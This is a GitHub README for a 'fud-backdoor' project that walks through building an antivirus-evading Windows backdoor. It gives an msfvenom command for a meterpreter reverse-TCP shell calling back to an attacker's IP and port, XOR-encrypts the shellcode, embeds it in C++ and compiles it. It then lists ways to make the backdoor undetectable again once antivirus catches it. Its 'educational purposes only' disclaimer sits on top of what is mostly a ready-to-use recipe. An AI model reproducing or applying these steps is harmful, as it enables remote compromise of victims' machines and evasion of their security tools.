winterrdog / fud-backdoor

Create a fully undetectable backdoor with simple steps.

🔒 Generate FUD backdoor with a Python Crypter 🔒

Follow the steps bellow to generate a crypted shellcode that can be used on a C++ executable.

Clone the repository

sudo git clone https://github.com/3ct0s/fud-backdoor.git
cd fud-backdoor

Generate The ShellCode

msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=(IP) LPORT=(PORT) -f raw -o raw.txt

Encode the ShellCode With the XOR Encryption

python xor_encryptor.py raw.txt > xor_shellcode.txt

Add the crypted shellcode on main.cpp

Now that you have the encrypted shellcode you need to add it on the main.cpp file just like this:

char b[] = /*xor_shellcode*/

Compile the main.cpp file

There is no specific way to do this, all you need to do is compile the C++ code into a windows executable. Here are ways to do that. https://cutt.ly/BBOXP797

Execute the backdoor

Now you can execute the backdoor and enjoy the metepreter shell

What if it gets detected?

At some point, the anti viruses will be able to detect this backdoor. Here are some things you can do to make it undetectable again.

You can try to change the payload type protocol and make it http or https and make sure to use another port, add gibberish C++ code on the main.cpp file and you can also try playing with the SSL certificate of the session. Here is an article that covers this: https://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation

If this still doesn't work, I can't think of another way to make the connection undetectable since this is a meterpreter shell and they get detected quite easily

DISCLAIMER

I am not responsible for any of your actions. This GitHub repository is made for educational purposes only!!!